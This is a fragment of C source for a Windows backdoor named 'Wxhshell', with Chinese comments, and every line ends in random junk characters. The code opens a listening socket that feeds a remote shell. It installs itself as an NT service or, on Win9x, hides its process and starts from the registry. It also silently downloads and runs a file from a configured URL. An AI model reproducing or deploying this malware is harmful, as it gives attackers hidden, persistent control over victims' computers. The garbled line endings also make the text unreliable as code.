7x4PaX(
PROCNTQSIP NtQueryInformationProcess; qm o9G
J
S_]FsxD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #?9;uy<j.q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *ppffz
xX4N4vb
HANDLE hProcess; <yFu*(Q
PROCESS_BASIC_INFORMATION pbi; 6b \&~b@T
`lt"[K<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =>af@C.2
if(NULL == hInst ) return 0; A=wh@"2
~O&:C{9=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .=jay{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Q dn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7{I0s;R
/C G"]!2 "
if (!NtQueryInformationProcess) return 0; ;x@~A^<el
<?4V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }d}Ke_Q0
if(!hProcess) return 0; exUu7&*:
xjj6WED
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?oHpFlj
]F'e
aR
CloseHandle(hProcess); g~A`N=r;h
-:y,N
9^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P! #[mio
if(hProcess==NULL) return 0; .+A+|yR
1F&Trqq
HMODULE hMod; [}0haTYc4
char procName[255]; Vt&2z)Zz
unsigned long cbNeeded; \ Et3|Iv
=mp;.k95
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zsyIV!(
#KexvP&*
CloseHandle(hProcess); (\YltC@q%
aH/
k Ua
if(strstr(procName,"services")) return 1; // 以服务启动 FSW_<%
X!dYdWw*m
return 0; // 注册表启动 ;P%1j| 7
} [;),\\u,d
~<F8ug#
// 主模块 ^N{h3b8
int StartWxhshell(LPSTR lpCmdLine) *]/zc1Q4M
{ &H/'rd0M
SOCKET wsl; Xg!{K3OS
BOOL val=TRUE; A!WKnb_`
int port=0; Lhb35;\
struct sockaddr_in door; * kDC liL
DKJmTH]rUg
if(wscfg.ws_autoins) Install(); fN^8{w/O
)g#T9tx2D
port=atoi(lpCmdLine); iE^84l68
G.a b ql
if(port<=0) port=wscfg.ws_port; h-<81"}j1
pm0{R[:T7
WSADATA data; ;LSANr&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1 +{{EOZ4
%oa-WmWm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZyPVy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Una+Z
door.sin_family = AF_INET; ARwD~Tr
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8ek@: Mw
door.sin_port = htons(port); W^LY'ypT
o5uph=Q{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { peuZ&yK+"
closesocket(wsl); jc[Y}gd,
return 1; O$j7i:G'5
} '3DXPR^B6
F {4bo$~>
if(listen(wsl,2) == INVALID_SOCKET) { ']z{{UNUN
closesocket(wsl); xvl#w
return 1; x'>9d
} 4`]^@"{
Wxhshell(wsl); ]i ,{
WSACleanup(); D_^
nI:
VfC <WVYiZ
return 0; Tg)|or/%
O6a<`]F
} wX5tp1 ?1J
ipgC RHE
// 以NT服务方式启动 j8{i#;s!"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `WFw3TI
{ f:|1_ j
DWORD status = 0; J1RJ*mo7,
DWORD specificError = 0xfffffff; J76kkW`5
cyv`B3}
serviceStatus.dwServiceType = SERVICE_WIN32; 4n g]\ituS
serviceStatus.dwCurrentState = SERVICE_START_PENDING; JZ*/,|1}EC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BmMGx8P
serviceStatus.dwWin32ExitCode = 0; u9GQU
serviceStatus.dwServiceSpecificExitCode = 0; L<-_1!wh
serviceStatus.dwCheckPoint = 0; FvXZ<(A{
serviceStatus.dwWaitHint = 0; \[_t]'p
a /l)qB#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0s3%Kqi[
if (hServiceStatusHandle==0) return; g:D>.lKd
_w(7u(Z
status = GetLastError(); R0]1xGz
if (status!=NO_ERROR) (\hx` Yh=>
{ i8[t=6Rm@
serviceStatus.dwCurrentState = SERVICE_STOPPED; q#ClnG*
serviceStatus.dwCheckPoint = 0; %D}kD6=
serviceStatus.dwWaitHint = 0; xPk8$1meZM
serviceStatus.dwWin32ExitCode = status; O%zU-_|*
serviceStatus.dwServiceSpecificExitCode = specificError; Cc' 37~6~P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 \ +T8(m
return; G"U9E5O
} YYl 4"l
.4M.y:F
serviceStatus.dwCurrentState = SERVICE_RUNNING; so)[59M7
serviceStatus.dwCheckPoint = 0; &5spTMw8
serviceStatus.dwWaitHint = 0; ZQoU3AD;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k,E{C{^M
} EZy)A$|
\fyRsa)
// 处理NT服务事件,比如:启动、停止 N~d ?WD\^
VOID WINAPI NTServiceHandler(DWORD fdwControl) +N9X/QFKV
{ ?{|q5n
switch(fdwControl) 6?mibvK
{ +[A QUc
case SERVICE_CONTROL_STOP: % X+:o]T
serviceStatus.dwWin32ExitCode = 0; RLynEV;]
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~u!|qM
serviceStatus.dwCheckPoint = 0; k)= X}=w
serviceStatus.dwWaitHint = 0; 6]_pIf
{ ]kG"ubHV?h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +xSHL|:b
} ^aMg/.j
return; 4 \K7xM!
case SERVICE_CONTROL_PAUSE: "Hb"F?Yb
serviceStatus.dwCurrentState = SERVICE_PAUSED; KRLQ #,9
break; WJndoB.f[2
case SERVICE_CONTROL_CONTINUE: udF~5w
H
serviceStatus.dwCurrentState = SERVICE_RUNNING; /-ch`u md
break; 2LL'J7
case SERVICE_CONTROL_INTERROGATE: w%VU/6~
break; tl4V7!U@^z
}; =J]]EoX/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,p@y]
cr
} *,)Md[
`* ["UER
// 标准应用程序主函数 k\YG^I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a|x.C6Pe
{ axRV:w;E<
[b<oDX#
// 获取操作系统版本 a
%'the
OsIsNt=GetOsVer(); u\x}8pn
GetModuleFileName(NULL,ExeFile,MAX_PATH); P*Uwg&Qz)
OwUhdiG
// 从命令行安装 5\sd3<:+
if(strpbrk(lpCmdLine,"iI")) Install(); +L|?~p`V
M~#g RAUJ
// 下载执行文件 %@ODs6 R0
if(wscfg.ws_downexe) { mpEK (p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n Fg~< $d
WinExec(wscfg.ws_filenam,SW_HIDE); !/*\}\'4
} N/'b$m5=
S
>~sI8czR*
if(!OsIsNt) { [0[i5'K:
// 如果时win9x,隐藏进程并且设置为注册表启动 #m<nAR
HideProc(); kr5">"7
StartWxhshell(lpCmdLine); }b"yU#`Q\
} Y3cMC)
else qu6D 5t
if(StartFromService()) D|L9Vs`
// 以服务方式启动 '!cCMTj
StartServiceCtrlDispatcher(DispatchTable); TnOggpQ6X
else qIE9$7*X
// 普通方式启动 [nG<[<0G;
StartWxhshell(lpCmdLine); [M}{G5U.
'8.r-`l(
return 0; /?'FE 7Y
}